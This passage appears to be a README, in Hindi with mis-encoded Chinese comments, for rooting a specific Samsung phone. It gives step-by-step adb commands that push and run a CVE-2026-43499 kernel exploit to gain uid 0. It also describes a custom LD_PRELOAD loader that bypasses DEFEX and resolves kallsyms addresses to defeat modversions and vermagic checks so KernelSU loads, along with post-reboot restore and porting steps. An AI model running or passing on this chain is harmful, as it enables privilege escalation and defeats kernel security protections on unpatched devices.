    # 2) .config ф╕О include/config/auto.conf хРМцнеф┐оцФ╣я╝Иauto.conf цШп make хоЮщЩЕшп╗чЪДя╝Йя╝Ъ
    #    CONFIG_LTO_CLANG_THIN=y тЖТ # CONFIG_LTO_CLANG_THIN is not set
    #    CONFIG_LTO_CLANG=y тЖТ not set
    #    CONFIG_LTO=y тЖТ not set
    #    CONFIG_LTO_NONE=y
    #    CONFIG_CFI_CLANG=y / CONFIG_CFI_CLANG_SHADOW=y тЖТ not set
    #    + CONFIG_SECTION_MISMATCH_WARN_ONLY=y
    #      я╝Иjt цз╜ .dataтЖТ.init х╝ХчФиф╝Ъшвл modpost цЛжцИР ERRORя╝Мх┐Ещб╗х╝Ая╝Й
    
    # 3) KSU ц║РчаБх░▒ф╜Н drivers/kernelsu/
    #    я╝ИKernelSU v3.2.5 + BuSung samsung-kdp-rkp-defex patchя╝ЫKconfig/Makefile х╖▓цОехЕея╝Й
    

### рдмрд┐рд▓реНрдб

root@kitploit:~
    
    
    docker exec ksu-build bash -c "cd /kernel && find drivers/kernelsu -name '*.o' -delete; \
      make M=drivers/kernelsu LD=ld.lld-12 CC=clang-12 CONFIG_KSU=m \
      CONFIG_KSU_SAMSUNG_KDP=y CONFIG_KSU_SAMSUNG_RKP=y CONFIG_KSU_SAMSUNG_DEFEX=y \
      CONFIG_KSU_SAMSUNG_NO_PATCH_TEXT=y modules"
    

> тЪая╕П **`.o` рд╕рд╛рдл рдХрд░рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реИ**: `.o` рдХреИрд╢ .config рдмрджрд▓рдиреЗ рдкрд░ рд╕реНрд╡рддрдГ рдкреБрдирдГ рдирд╣реАрдВ рдмрдирддрд╛, рдмрдЪреЗ рд╣реБрдП function-sections рдЖрдЙрдЯрдкреБрдЯ рдлрд░реНрдЬреА рд╕рдлрд▓рддрд╛/рдлрд░реНрдЬреА рдХреНрд░реИрд╢ рдХрд╛ рдХрд╛рд░рдг рдмрдирддреЗ рд╣реИрдВред

### рдЖрдЙрдЯрдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рд╕реВрдЪреА (рд╕рднреА рдкрд╛рд╕ рд╣реЛрдиреЗ рдкрд░ рд╣реА рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рднреЗрдЬреЗрдВ)

root@kitploit:~
    
    
    # .text цШпч╗Яф╕Ацо╡я╝И~0x1133cя╝Йя╝Мф╕НцШп function-sections цЛЖхИЖх╕Гх▒А
    llvm-readelf -S kernelsu.ko | grep -c '\.text\.'   # х║Фф╕║ 0
    # jt цз╜хнШхЬия╝Иmod->init хФпф╕АцЭец║Ря╝Й
    llvm-nm kernelsu.ko | grep __cfi_jt_init_module    # D __cfi_jt_init_module
    # vermagic ч▓╛чбохМ╣щЕНшо╛хдЗя╝ИчФишо╛хдЗцаСч╝ЦчЪДхдйчД╢хМ╣щЕНя╝МцЧащЬА patchя╝Й
    modinfo kernelsu.ko | grep vermagic
    # 201 ф╕к UND чмжхП╖уАБцЧа __cfi_checkя╝ИцибхЭЧф╕НхПВф╕О CFI shadowя╝Й
    llvm-readelf -s kernelsu.ko | grep -c UND
    llvm-nm kernelsu.ko | grep __cfi_check            # х║Фф╕║чй║
    

рд╕рдлрд▓ рдореЙрдбреНрдпреВрд▓ `release/kernelsu-c12-nolto.ko` рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ (SHA256SUMS рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ)ред

## 7\. Step 3 тАФ ksu-load.so рдмрдирд╛рдирд╛ (DEFEX рдмрд╛рдпрдкрд╛рд╕ рд▓реЛрдбрд░)

**DEFEX рд╢рдмреНрджрд╛рд░реНрде (рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд░реАрдХреНрд╖рдг рд╕реЗ рдореИрдк рдХрд┐рдП рдЧрдП рдирд┐рд╖реНрдХрд░реНрд╖, рд╕рдореБрджрд╛рдп рдХреА рдкреБрд░рд╛рдиреА рдзрд╛рд░рдгрд╛ рдХреЛ рдЦрд╛рд░рд┐рдЬ рдХрд░рддреЗ рд╣реБрдП)** :

рдЗрд╕рд▓рд┐рдП ksud рдХрд╛ рдЕрдкрдирд╛ рдкреНрд░рд╡рд╛рд╣ Samsung рдкрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ (kernel рдбреЛрдореЗрди рдХрд╛ exec рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИ, shell рдбреЛрдореЗрди рдХреЗ рдкрд╛рд╕ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд╣реАрдВ), **рд╕реНрд╡-рдирд┐рд░реНрдорд┐рдд рд▓реЛрдбрд░** = `loader/ksu-load.c` (`KSU_LOAD_AS_SO` рдореИрдХреНрд░реЛ = constructor рд╕рдВрд╕реНрдХрд░рдг):

  1. constructor `$KSU_KO_PATH` рдкрдврд╝рддрд╛ рд╣реИ
  2. `/proc/kallsyms` рдЦреЛрд▓рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ root рдЪреИрдирд▓ рд╕реЗ `echo 0 > /proc/sys/kernel/kptr_restrict`)
  3. `.symtab` рдХреЗ рдкреНрд░рддреНрдпреЗрдХ UND рд╕рд┐рдВрдмрд▓ рдХреЗ рд▓рд┐рдП: kallsyms рд╕реЗ рдкреВрд░реНрдг рдкрддрд╛ тЖТ `SHN_ABS + st_value=рдкрддрд╛`
     * рд╕реАрдорд╛ 600000 рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ (рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ 489702 рд╣реИрдВ; 65536 рдХреА рдкреБрд░рд╛рдиреА рд╕реАрдорд╛ рдЪреБрдкрдЪрд╛рдк рдХрд╛рдЯрдХрд░ рд╕рднреА MISSING рдмрддрд╛рддреА рдереА)
     * `patched=201 missing=0` рдХрд╛ рдЕрд░реНрде рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рд╣рд▓ рд╣реЛ рдЧрдпрд╛
     * **SHN_ABS рд╕рд┐рдВрдмрд▓ рдХрднреА`find_symbol()`/`check_version()` рдореЗрдВ рдирд╣реАрдВ рдЬрд╛рддреЗ тЖТ TRIM_UNUSED_KSYMS рдФрд░ modversions CRC рджреЛрдиреЛрдВ рджреАрд╡рд╛рд░реЗрдВ рдПрдХ рд╕рд╛рде рдЧрд╛рдпрдм**
  4. `KSU_VERMAGIC_PATCH=1` (рдкреБрд░рд╛рдиреЗ ko рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ): .modinfo рдХреЗ scmversion/author/description рдХреЛ рдЫреЛрдЯрд╛ рдХрд░рдХреЗ рдЙрд╕реА рд╕реНрдерд╛рди рдкрд░ рдмрд╛рдЗрдЯ рдЦрд╛рд▓реА рдХрд░рдирд╛ тЖТ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рд╕рдЯреАрдХ vermagic рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓рд┐рдЦрдирд╛ (рдмрд┐рдирд╛ LTO рд╡рд╛рд▓реЗ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ vermagic рд╕реНрд╡рддрдГ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ, рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ)
  5. `init_module(fd, params)` тЖТ рд▓реЙрдЧ /data/local/tmp/ksu-load.log рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ (**рдЕрдирдмрдлрд░реНрдб stderr** , рдХреНрд░реИрд╢ рдкрд░ рд▓реЙрдЧ рдирд╣реАрдВ рдЦреЛрддрд╛)



root@kitploit:~
    
    
    $ANDROID_NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android30-clang \
      -shared -fPIC -O2 -DKSU_LOAD_AS_SO -o ksu-load.so ksu-load.c
    

## 8\. Step 4 тАФ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рд╕рддреНрдпрд╛рдкрди

### 8.1 рдПрд╕реЗрдЯреНрд╕ рдкреБрд╢ рдХрд░рдирд╛

root@kitploit:~
    
    
    adb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
    adb -s RFCW31TJJ0T push release/ksu-load.so /data/local/tmp/
    adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-app.so /data/local/tmp/
    adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-root /data/local/tmp/
    # panic ф╝Ъц╕ЕщЫ╢ F2FS щб╡ч╝УхнШ тАФтАФ цпПцмб panic хРОх┐Ещб╗ MD5 щЗНцЦ░ца╕хп╣/щЗНцОи
    

### 8.2 рдЕрд╕реНрдерд╛рдпреА root

root@kitploit:~
    
    
    # щЗНхРпхРОх┐Ещб╗чнЙ loadavg < 2.5я╝Иwatch /proc/loadavgя╝ЙхЖНш╖Ся╝МщлШш┤Яш╜╜х┐Ехд▒ш┤е
    adb -s RFCW31TJJ0T shell "
      pkill -9 -f 'cve-2026-43499';   # ц╕ЕцоЛчХЩя╝ИтЪая╕П хЛ┐хЬи root daemon ц┤╗чЭАцЧ╢чФия╝Мф╝ЪшппцЭАщАЪщБУя╝Й
      cd /data/local/tmp
      KSU_LOAD_ONLY=1 EXP32_STAMP_OFF=0x58 EXPLOIT_ATTEMPTS=3 \
      LD_PRELOAD=/data/local/tmp/cve-2026-43499 nohup sh -c 'sleep 3600' > exp.log 2>&1
    "
    adb -s RFCW31TJJ0T shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
    # тЖТ uid=0(root) gid=0(root) context=u:r:kernel:s0
    

### 8.3 KSU рдореЙрдбреНрдпреВрд▓ рд▓реЛрдб рдХрд░рдирд╛

root@kitploit:~
    
    
    adb -s RFCW31TJJ0T shell "
      timeout 10 cve-2026-43499-root -c 'echo 0 > /proc/sys/kernel/kptr_restrict'
      timeout 60 cve-2026-43499-root -c 'sh -c \"KSU_KO_PATH=/data/local/tmp/kernelsu-c12-nolto.ko \
        KSU_KO_PARAMS=allow_shell=1 LD_PRELOAD=/data/local/tmp/ksu-load.so \
        /system/bin/true > /data/local/tmp/ksu-load.log 2>&1\"'
    "
    cat /data/local/tmp/ksu-load.log
    # цИРхКЯцаЗх┐Ч: patched=201 missing=0 | KernelSU loaded OK (manual relocation, 201 symbols)
    adb -s RFCW31TJJ0T shell "cat /proc/modules | grep kernelsu"
    # тЖТ kernelsu 147456 0 - Live (O)
    

### 8.4 рд╕рддреНрдпрд╛рдкрди рд╕реВрдЪреА (рд╕рднреА рд╣рд░реЗ)

root@kitploit:~
    
    
    # 1. KSU init 15 markя╝И/data/local/tmp/ksu-init.logя╝Й:
    #    entry тЖТ resolver-ok тЖТ kdp-ok тЖТ cred-ok тЖТ defex-ok тЖТ syscallhook-ok
    #    тЖТ features-ok тЖТ supercalls-ok тЖТ rules-ok тЖТ cachesid-ok тЖТ setupcred-ok
    #    тЖТ escape-ok тЖТ allowlist-ok тЖТ hookmanager-ok тЖТ late-done
    # 2. su:
    adb -s RFCW31TJJ0T shell "su -c id"
    # тЖТ uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
    # 3. KSU Manager v3.2.5 ф╕╗щб╡цШ╛чд║:
    #    уАМхЖЕца╕чЙИцЬм 5.10.236-android12-9-2755199-abF9360ZCSAIZF1уАН= supercall щАЪш┐З
    #    SELinux х╝║хИ╢цЙзшбМ + Seccomp ш┐Зц╗дцибх╝Пф╕Лцнгх╕╕х╖еф╜Ь
    

## 9\. рд░реАрдмреВрдЯ рдХреЗ рдмрд╛рдж рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛

root@kitploit:~
    
    
    # 1. щЗНхРп тЖТ чнЙ loadavg < 2.5
    # 2. ш╖С ┬з8.2 exploitя╝Иф╕АцмбцИРхКЯчОЗщлШя╝ЙтЖТ щкМшпБ root
    # 3. ш╖С ┬з8.3 хКаш╜╜ тЖТ щкМшпБ /proc/modules
    # 4. su хПпчФи + Manager шпЖхИл
    # хЕиц╡БчиЛ ~3 хИЖщТЯуАВscripts/restore-root.sh ф╕║хНКшЗкхКицибцЭ┐уАВ
    

## 10\. рдкреНрд░рдореБрдЦ рдЦреЛрдЬреЗрдВ рдФрд░ рдЧрдбреНрдвреЛрдВ рдХреА рд╕реВрдЪреА

### 10.1 LTO рд╡рд┐рднрд╛рдЬрд┐рдд рд▓реЗрдЖрдЙрдЯ = рдореЙрдбреНрдпреВрд▓ рдХреНрд░реИрд╢ рдХрд╛ рдЕрдВрддрд┐рдо рдореВрд▓ рдХрд╛рд░рдг (рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреА рд╕рдмрд╕реЗ рдмрдбрд╝реА рдЦреЛрдЬ)

  * рд▓рдХреНрд╖рдг: clang-12 рд╕реЗ рдмрдирд╛ kernelsu рд▓реЛрдб рд╣реЛрддреЗ рд╣реА рдХреНрд░реИрд╢, **рдпрд╣рд╛рдБ рддрдХ рдХрд┐ init рдХреЛ рд╕реНрдЯрдм (ret) рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╕рдВрд╕реНрдХрд░рдг рднреА рдХреНрд░реИрд╢** , рдЬрдмрдХрд┐ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ clang-12 ko рдХрд╛ рд╕реНрдЯрдм рд╕рдВрд╕реНрдХрд░рдг рд▓реЛрдб рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ тЖТ рдпрд╣ рдореЙрдбреНрдпреВрд▓-рд╕реНрддрд░реАрдп рдЕрдВрддрд░ рд╣реИ, init рдХреЛрдб рдХреА рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВред
  * рджреНрд╡рд┐-рд╡рд┐рднрд╛рдЬрди рд╢реНрд░реГрдВрдЦрд▓рд╛: RELA рдлреНрд▓реИрдЧ рд╕рдорд╛рди рд╣реИрдВ тЖТ рд╡рд┐рд╢реЗрд╖ рд╕реЗрдЧрдореЗрдВрдЯ (`__jump_table`/`.altinstructions`/`.note.gnu.property`) рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдореЗрдВ рднреА рд╣реИрдВ тЖТ **рдПрдХрдорд╛рддреНрд░ рдЕрдВрддрд░ = function-sections рд╡рд┐рднрд╛рдЬрд┐рдд рд▓реЗрдЖрдЙрдЯ** (рд╣рдорд╛рд░рд╛ ko 447 ALLOC рд╕реЗрдЧрдореЗрдВрдЯ рдмрдирд╛рдо рдЖрдзрд┐рдХрд╛рд░рд┐рдХ 22 рд╕реЗрдЧрдореЗрдВрдЯ)ред
  * рд╕рдорд╛рдзрд╛рди: `CONFIG_LTO_CLANG_THIN` рдкреВрд░реА рддрд░рд╣ рдмрдВрдж + `.o` рд╕рд╛рдл рдХрд░рдХреЗ рдкреБрдирдГ рд╕рдВрдХрд▓рди тЖТ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд▓реЗрдЖрдЙрдЯ тЖТ **рдкрд╣рд▓реА рдмрд╛рд░ рд▓реЛрдб рд╕рдлрд▓, init рдХреЗ 15 рдорд╛рд░реНрдХрд░ рд╕рднреА рд╣рд░реЗ** ред
  * рд╕рдмрдХ: `.o` рдХреИрд╢ .config рдмрджрд▓рдиреЗ рдкрд░ рдкреБрдирдГ рдирд╣реАрдВ рдмрдирддрд╛; рдХреЙрдиреНрдлрд╝рд┐рдЧ рдмрджрд▓рддреЗ рд╕рдордп `find drivers/kernelsu -name '*.o' -delete` рдЪрд▓рд╛рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реИред



### 10.2 `mod->init` рдХрд╛ рдПрдХрдорд╛рддреНрд░ рд╕реНрд░реЛрдд = CFI jt рд╕реНрд▓реЙрдЯ

`kernel/module.c cfi_init()`: `mod->init = *find_kallsyms_symbol_value(mod, "__cfi_jt_init_module")`ред рдЧреИрд░-CFI рдмрд┐рд▓реНрдб рдФрд░ рдмрд┐рдирд╛ jt рд╕реНрд▓реЙрдЯ рд╡рд╛рд▓рд╛ ko тЖТ `mod->init=NULL` тЖТ `do_init_module` рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ тЖТ **рдореЙрдбреНрдпреВрд▓ "Live" рджрд┐рдЦрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди init рдХрднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрддрд╛** (ksu_cred рдирд╣реАрдВ рдмрдирддрд╛, hook рдкрдВрдЬреАрдХреГрдд рдирд╣реАрдВ рд╣реЛрддреЗ тАФ рдпрд╣ рдкрд╣рд▓реЗ рдХреЗ рд╕рднреА "Live рдЦреЛрд▓" рд▓рдХреНрд╖рдгреЛрдВ рдХрд╛ рдореВрд▓ рд╣реИ)ред clang-12 рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ jt рд╕реНрд▓реЙрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ; clang-14 рдХрд╛ `-fsanitize=cfi` рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди LTO рд▓рд┐рдВрдХ рдХреЗ рдмрд╛рдж рдЙрд╕реЗ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ (рдореГрдд-рдЕрдВрдд)ред

### 10.3 рдХрдВрдкрд╛рдЗрд▓рд░ рдорд┐рд▓рд╛рди (CFI type-id)

рдбрд┐рд╡рд╛рдЗрд╕ `/proc/version` = `Android (7284624, based on r416183b) clang version 12.0.5`ред clang-15/18 рд╕реЗ рдмрдирд╛ ko рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ `__cfi_check_fail` тЖТ panic рдФрд░ рдХреЛрдИ CFI_PERMISSIVE рдирд╣реАрдВред **`/proc/version` рджреЗрдЦреЗрдВ, рд╕рдорд╛рди рдкреАрдврд╝реА рдХрд╛ рдХрдВрдкрд╛рдЗрд▓рд░ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ**ред AOSP clang r416183b рдбрд╛рдЙрдирд▓реЛрдб (446MB): `https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/heads/android12-release/clang-r416183b.tar.gz` (рд╢рд╛рдЦрд╛ `android12-release` рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП; x86_64 рд╕рдВрд╕реНрдХрд░рдг arm64 рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдирд╣реАрдВ рдЪрд▓рддрд╛)ред Ubuntu clang-12 рдХреЗ рд▓рд┐рдП Samsung Makefile рдореЗрдВ sysreg guard рдмрдВрдж рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ (┬з6 рджреЗрдЦреЗрдВ)ред

### 10.4 DEFEX рдХрд╛ рд╕рдЯреАрдХ рд╢рдмреНрджрд╛рд░реНрде

┬з7 рдХреА рддрд╛рд▓рд┐рдХрд╛ рджреЗрдЦреЗрдВред рдореВрд▓ рдмрд╛рдд: **LD_PRELOAD constructor рдПрдХрдорд╛рддреНрд░ рдЫреВрдЯ рдЪреИрдирд▓ рд╣реИ** ; `setexeccon` рд╕реЗ рдбреЛрдореЗрди рдШрдЯрд╛рдирд╛ рдЕрдкреНрд░рднрд╛рд╡реА рд╣реИ; ksud late-load рдорд╛рд░реНрдЧ рд╕рдорд╛рдкреНрдд, рд╕реНрд╡-рдирд┐рд░реНрдорд┐рдд рд▓реЛрдбрд░ред `libksud.so` (Manager рдореЗрдВ рдПрдореНрдмреЗрдбреЗрдб рд▓рд╛рдЗрдмреНрд░реЗрд░реА-рд╕рдВрд╕реНрдХрд░рдг ksud) app рдбреЛрдореЗрди рд╕реЗ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди seccomp syscall 142 рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ, рджреЛрд╣рди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ред

### 10.5 vermagic рдХрд╛ рд╕рдЯреАрдХ рдорд┐рд▓рд╛рди рдЕрдирд┐рд╡рд╛рд░реНрдп

`CONFIG_MODULE_FORCE_LOAD=n` тЖТ `IGNORE_VERMAGIC`/`IGNORE_MODVERSIONS` рдлреНрд▓реИрдЧ рд╕рднреА `try_to_force_load()` рдХреА рдУрд░ рдЬрд╛рддреЗ рд╣реИрдВ тЖТ ENOEXEC рдореГрдд-рдЕрдВрддред рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ vermagic рдореЗрдВ LOCALVERSION рдкреНрд░рддреНрдпрдп рд╣реИ (`-2755199-abF9360ZCSAIZF1`), рдбрд┐рд╡рд╛рдЗрд╕ рдЯреНрд░реА (рд╕рд╣реА SUBLEVEL/EXTRAVERSION/LOCALVERSION) рд╕реЗ рдмрдиреЗ ko рдХрд╛ vermagic рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рд╕рдЯреАрдХ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред zero-`__versions` рдореЙрдбреНрдпреВрд▓ (KSU рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд╢реИрд▓реА) `same_magic` рдореЗрдВ **рдкреВрд░реНрдг рд╕реНрдЯреНрд░рд┐рдВрдЧ рддреБрд▓рдирд╛** рдХрд░рддрд╛ рд╣реИ, рд╡рд░реНрдг-рджрд░-рд╡рд░реНрдг рд╕рдорд╛рди рд╣реЛрдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реИред

### 10.6 рдЕрдиреНрдп рдЧрдбреНрдвреЗ

  1. **exploit рд▓реЛрдб рдЧреЗрдЯрд┐рдВрдЧ** : рдмреВрдЯ рдХреЗ рдмрд╛рдж loadavg тЙе 2.5 рд╣реЛрдиреЗ рдкрд░ рдирд┐рд╢реНрдЪрд┐рдд рд╡рд┐рдлрд▓рддрд╛ (LMKD SIGKILL, рд▓реЙрдЧ `find_collisions` рдореЗрдВ рд╕рдорд╛рди рдмрд╛рдЗрдЯ рд╕рдВрдЦреНрдпрд╛ рдкрд░ рд░реБрдХ рдЬрд╛рддрд╛ рд╣реИ)ред рд▓реЛрдб рдХрдо рд╣реЛрдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдХреЗ рдЪрд▓рд╛рдПрдБред
  2. **panic рдХреЗ рдмрд╛рдж рдлрд╝рд╛рдЗрд▓реЗрдВ рд╢реВрдиреНрдп** : F2FS рдкреЗрдЬ рдХреИрд╢ рдХреНрд╖рддрд┐рдЧреНрд░рд╕реНрдд, `/data/local/tmp` рдлрд╝рд╛рдЗрд▓реЗрдВ рд╢реВрдиреНрдп рд╣реЛ рд╕рдХрддреА рд╣реИрдВ тАФ panic рдХреЗ рдмрд╛рдж рд╕рднреА рдмрд╛рдЗрдирд░реА рдХреА MD5 рдЬрд╛рдБрдЪ рдХрд░реЗрдВред
  3. **`pkill -9 -f cve-2026-43499` root daemon рдХреЛ рднреА рдорд╛рд░ рд╕рдХрддрд╛ рд╣реИ**: root рдЪреИрдирд▓ рднреА рдЦрддреНрдо, рд░реАрдмреВрдЯ рдХрд░рдХреЗ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░рдирд╛ рдкрдбрд╝реЗрдЧрд╛ред
  4. **tracefs slide рд▓реАрдХ рдмреВрдЯ-рджрд░-рдмреВрдЯ рдЕрд╕реНрдерд┐рд░** : рд╕рдлрд▓ рдмреВрдЯ рдХрд╛ slide рд╕реНрдерд┐рд░; рд╡рд┐рдлрд▓ рдмреВрдЯ (CFI mismatch) рдкрд░ рд╕реАрдзреЗ рд░реАрдмреВрдЯ рдХрд░рдХреЗ рдкреБрдирдГ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ, рдХреЛрдб рдХрд╛ рдкреАрдЫрд╛ рди рдХрд░реЗрдВред
  5. **stdout рдмреНрд▓реЙрдХ рдмрдлрд░рд┐рдВрдЧ рд╕реЗ рд▓реЙрдЧ рдЦреЛрдирд╛** : рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдиреЗ рдкрд░ printf рдмреНрд▓реЙрдХ-рдмрдлрд░реНрдб рд╣реЛрддрд╛ рд╣реИ, panic рд╣реЛрдиреЗ рдкрд░ рдЕрдВрддрд┐рдо рд▓реЙрдЧ рдЦреЛ рдЬрд╛рддрд╛ рд╣реИред `set_unbuffer()` (kernelsu рдЯреВрд▓рдЪреЗрди рдореЗрдВ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд) рдХреЛ `run_exploit` рдореЗрдВ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкрд╣рд▓реЗ рдХрднреА рдХреЙрд▓ рдирд╣реАрдВ рд╣реБрдЖ рдерд╛ред
  6. **kptr_restrict=2 рдХрд░реНрдиреЗрд▓ рдбреЛрдореЗрди root рд╕реЗ рднреА рдкрддреЗ рдЫрд┐рдкрд╛рддрд╛ рд╣реИ** : рдкрд╣рд▓реЗ `echo 0 > /proc/sys/kernel/kptr_restrict`, рд▓реЛрдбрд░ рдХреЛ addr==0 рд╡рд╛рд▓реА рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдЫреЛрдбрд╝рдиреА рд╣реЛрдВрдЧреАред
  7. **kallsyms рдореЗрдВ 489k рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ** : рд▓реЛрдбрд░ рдРрд░реЗ рдХреА рд╕реАрдорд╛ тЙе600k рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП, 65536 рдЪреБрдкрдЪрд╛рдк рдХрд╛рдЯрдХрд░ рд╕рднреА MISSING рдмрддрд╛рдПрдЧрд╛ред
  8. **KDP/RKP/DEFEX patch рд▓рдЧрд╛рдирд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп** : рдореВрд▓ KSU рдХрд╛ рд╕рд╛рдорд╛рдиреНрдп `put_cred` Samsung рдкрд░ KDP cred рд▓рд┐рдЦрддрд╛ рд╣реИ тЖТ рд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдПрдХреНрд╕рдЯрд░реНрдирд▓ рдПрдмреЙрд░реНрдЯ panicред
  9. **`rmmod kernelsu` рдирд┐рд╢реНрдЪрд┐рдд panic** (┬з1)ред



## 11\. рдлрд░реНрдорд╡реЗрдпрд░/рдХрд░реНрдиреЗрд▓ рд╕рдВрдЧрддрддрд╛

  * **CVE-2026-43499 рдлрд┐рдХреНрд╕ рд╡рд┐рдВрдбреЛ** : Samsung 2026-07 рдлрд░реНрдорд╡реЗрдпрд░ рдореЗрдВ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд▓рдХреНрд╖рд┐рдд рдлрд░реНрдорд╡реЗрдпрд░ тЙд 2026-06 рдмрд┐рд▓реНрдб рдХрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
  * рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЗ рд╕рднреА рдЖрдЙрдЯрдкреБрдЯ (ko/vermagic/рдкреИрд░рд╛рдореАрдЯрд░) `F9360ZCSAIZF1` рд╕реЗ рдмрдВрдзреЗ рд╣реИрдВред рдЕрдиреНрдп рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ: 
    1. рд╕рдВрдмрдВрдзрд┐рдд рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ boot.img рд╕реЗ kallsyms рдФрд░ рд▓реЗрдЖрдЙрдЯ рдкреБрдирдГ рдирд┐рдХрд╛рд▓реЗрдВ (`vmlinux-to-elf` \+ `llvm-nm`);
    2. target.h рдХреЗ 25 рд╕рд┐рдВрдмрд▓ рдСрдлрд╕реЗрдЯ + P0 рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдЯреЗрдмрд▓ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВ (`tools/generate_p0_fingerprint.pl`);
    3. рдЙрд╕ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрд░реНрдиреЗрд▓ рдЯреНрд░реА рд╕реЗ ko рдкреБрдирдГ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ (vermagic рд╕реНрд╡рддрдГ рдореЗрд▓ рдЦрд╛рдПрдЧрд╛);
    4. рд╕рдорд╛рди SoC (SM8450) рдХреЗ b0q/S22U рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдкреЛрд░реНрдЯ рд╕реЗ рд╕рд┐рджреНрдз рд╣реИ рдХрд┐ `0xa8000000` рдПрдХ рджреАрд░реНрдШрдЬреАрд╡реА рдкрд░рдВрдкрд░рд╛ рд╣реИ, рд╕рдВрднрд╡рддрдГ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВред
